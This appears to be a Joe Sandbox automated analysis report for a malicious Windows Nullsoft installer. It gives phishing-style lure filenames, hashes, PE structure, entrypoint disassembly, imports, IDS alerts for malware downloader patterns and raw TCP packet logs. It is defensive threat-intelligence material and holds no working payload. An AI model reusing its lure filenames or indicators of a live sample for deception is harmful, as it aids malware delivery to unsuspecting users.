Joe Sandbox View:	Filename: Remittance Copy For Advance Payment PO _PDF.exe, Detection: malicious, Browse Filename: PO OCTOBER 2024 _ PDF.exe, Detection: malicious, Browse Filename: Remittance Copy For Advance Payment PO _PDF.exe, Detection: malicious, Browse Filename: POP.exe, Detection: malicious, Browse Filename: POP.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.20658.28793.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.20658.28793.exe, Detection: malicious, Browse Filename: dVX6r5CyYY.exe, Detection: malicious, Browse Filename: dVX6r5CyYY.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....oS...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..>....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.497827071652818
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Fa24c148.exe
File size:	1'005'202 bytes
MD5:	7644ebbf786053ffaf95dbe86b7de5d4
SHA1:	5d563fb10f6d71049ae5f69fb6ccb9f2217ddf32
SHA256:	0b7ba80811d300aefe42de77b7b8fb2d5b6f9a8d4f2cf3d1213b6fead5efb59b
SHA512:	d2da4f4ce1d26aca8e497e0d889d34ce9a4ec06b50245eb29a1feb7c7c20fce281e0dbefa37d234230163ebeaa602f1a49edee312024628387d2759896434a3c
SSDEEP:	24576:ynE9Wlvj9UENDYuRe5In2hINGct2YBD9w254CQ+K1Q:yEiJUTOn2hINGctTDOBC7
TLSH:	FA25234B7BDCE017C1868E362A67C639D975AC182929874B3B31BF2F6A343D56D18384
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L.....oS.................^..........1.......p....@

File Icon


Icon Hash:	b8333351accc5531

Static PE Info

General

Entrypoint:	0x4031ff
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x536FD795 [Sun May 11 20:03:33 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7ed0d71376e55d58ab36dc7d3ffda898

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 004092D8h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [00407134h]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429258h], eax
call 00007F44588C3644h
mov dword ptr [004291A4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420658h
call dword ptr [0040717Ch]
push 004092C0h
push 004281A0h
call 00007F44588C32AFh
call dword ptr [00407138h]
mov ebx, 00434000h
push eax
push ebx
call 00007F44588C329Dh
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291A0h], eax
mov eax, ebx
jne 00007F44588C07AAh
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007F44588C2CEEh
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007F44588C086Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007F44588C07A9h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007F44588C079Bh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x62000	0x3a210	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5cf6	0x5e00	eee41166f9daa8eae9e9b5d18d2d3c6e	False	0.6619431515957447	data	6.441066052438077	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2f90a087fd075d2b61c65e6db9ea1417	False	0.4314453125	data	5.037502749366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x20298	0x600	eaa9954d4bef1481fc1bddefea6bf878	False	0.4609375	data	3.6563423252168445	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x38000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x62000	0x3a210	0x3a400	f91af9b4d232be8e11695918d7fec713	False	0.43928547478540775	data	4.7460567769423365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x623b8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.26944575890216493
RT_ICON	0x72be0	0xb6ac	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.988794799418356
RT_ICON	0x7e290	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.3126708009249527
RT_ICON	0x87738	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	English	United States	0.32300751879699247
RT_ICON	0x8df20	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.3179297597042514
RT_ICON	0x933a8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.32646433632498817
RT_ICON	0x975d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.36317427385892115
RT_ICON	0x99b78	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.40150093808630394
RT_ICON	0x9ac20	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.44426229508196724
RT_ICON	0x9b5a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.48936170212765956
RT_DIALOG	0x9ba10	0x100	data	English	United States	0.5234375
RT_DIALOG	0x9bb10	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x9bc30	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x9bcf8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x9bd58	0x92	data	English	United States	0.7191780821917808
RT_VERSION	0x9bdf0	0x114	data	English	United States	0.6086956521739131
RT_MANIFEST	0x9bf08	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, SetFileAttributesW, ExpandEnvironmentStringsW, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, SetErrorMode, GetCommandLineW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T12:22:28.723071+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49736	142.250.185.206	443	TCP
2024-10-28T12:22:34.997069+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	132.226.247.73	80	TCP
2024-10-28T12:22:36.809593+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	132.226.247.73	80	TCP
2024-10-28T12:22:37.535463+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49740	188.114.97.3	443	TCP
2024-10-28T12:22:38.465929+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49741	132.226.247.73	80	TCP
2024-10-28T12:22:42.712859+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49746	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 12:22:27.353827000 CET	49736	443	192.168.2.4	142.250.185.206
Oct 28, 2024 12:22:27.353848934 CET	443	49736	142.250.185.206	192.168.2.4
Oct 28, 2024 12:22:27.353923082 CET	49736	443	192.168.2.4	142.250.185.206
Oct 28, 2024 12:22:27.369138002 CET	49736	443	192.168.2.4	142.250.185.206
Oct 28, 2024 12:22:27.369153023 CET	443	49736	142.250.185.206	192.168.2.4
Oct 28, 2024 12:22:28.221434116 CET	443	49736	142.250.185.206	192.168.2.4
Oct 28, 2024 12:22:28.221519947 CET	49736	443	192.168.2.4	142.250.185.206
Oct 28, 2024 12:22:28.222093105 CET	443	49736	142.250.185.206	192.168.2.4
Oct 28, 2024 12:22:28.222150087 CET	49736	443	192.168.2.4	142.250.185.206
Oct 28, 2024 12:22:28.357659101 CET	49736	443	192.168.2.4	142.250.185.206
Oct 28, 2024 12:22:28.357692957 CET	443	49736	142.250.185.206	192.168.2.4
Oct 28, 2024 12:22:28.357904911 CET	443	49736	142.250.185.206	192.168.2.4
Oct 28, 2024 12:22:28.357954979 CET	49736	443	192.168.2.4	142.250.185.206
Oct 28, 2024 12:22:28.362627983 CET	49736	443	192.168.2.4	142.250.185.206
Oct 28, 2024 12:22:28.403373957 CET	443	49736	142.250.185.206	192.168.2.4
Oct 28, 2024 12:22:28.723057985 CET	443	49736	142.250.185.206	192.168.2.4
Oct 28, 2024 12:22:28.723125935 CET	49736	443	192.168.2.4	142.250.185.206
Oct 28, 2024 12:22:28.723373890 CET	49736	443	192.168.2.4	142.250.185.206
Oct 28, 2024 12:22:28.723423958 CET	443	49736	142.250.185.206	192.168.2.4
Oct 28, 2024 12:22:28.723473072 CET	49736	443	192.168.2.4	142.250.185.206
Oct 28, 2024 12:22:28.753027916 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:28.753038883 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:28.753093958 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:28.753592014 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:28.753604889 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:29.620399952 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:29.620486975 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:29.624175072 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:29.624183893 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:29.624392986 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:29.624453068 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:29.624921083 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:29.671334028 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:31.948332071 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:31.948461056 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:31.956862926 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:31.956940889 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.067997932 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.068072081 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.068108082 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.068108082 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.068109989 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.068120003 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.068170071 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.068170071 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.068507910 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.068582058 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.068593979 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.068644047 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.072901964 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.072964907 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.072972059 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.073126078 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.081720114 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.081789017 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.081803083 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.081984043 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.090476990 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.090567112 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.090599060 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.090656996 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.099530935 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.099589109 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.099596024 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.099642038 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.108227015 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.108297110 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.108304977 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.108380079 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.116939068 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.116993904 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.117017984 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.117073059 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.125952959 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.126008034 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.126014948 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.126121998 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.187642097 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.187722921 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.187731981 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.187807083 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.187845945 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.187845945 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.187855959 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.187942028 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.188028097 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.188091040 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.188106060 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.188139915 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.188158035 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.188165903 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.188180923 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.188235998 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.188999891 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.189064980 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.189070940 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.189120054 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.189126015 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.189178944 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.189184904 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.189239979 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.192682028 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.192744970 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.192759991 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.192820072 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.192827940 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.192890882 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.192897081 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.192979097 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.201376915 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.201426029 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.201427937 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.201442003 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.201474905 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.201494932 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.204221010 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.204327106 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.204332113 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.204369068 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.210412025 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.210566044 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.210572958 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.210634947 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.215513945 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.215610981 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.215620041 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.215681076 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.221409082 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.221479893 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.221487045 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.221554041 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.226850986 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.226928949 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.226934910 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.226979017 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.232599974 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.232652903 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.232660055 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.232712030 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.238194942 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.238272905 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.238310099 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.238362074 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.244009972 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.244115114 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.244122982 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.244188070 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.249562025 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.249639988 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.249650955 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.249717951 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.255294085 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.255362988 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.255501986 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.255598068 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.260901928 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.260974884 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.307332039 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.307384014 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.307398081 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.307442904 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.307470083 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.307634115 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.307642937 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.307755947 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.307761908 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.307792902 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.307800055 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.307862043 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.308115005 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.308178902 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.308183908 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.308264971 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.308276892 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.308283091 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.308322906 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.308355093 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.308358908 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.308415890 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.309195042 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.309267998 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.309304953 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.309325933 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.309334993 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.309345961 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.309380054 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.310076952 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.310118914 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.310129881 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.310158014 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.310434103 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.310503006 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.310513020 CET	443	49737	142.250.186.65	192.168.2.4
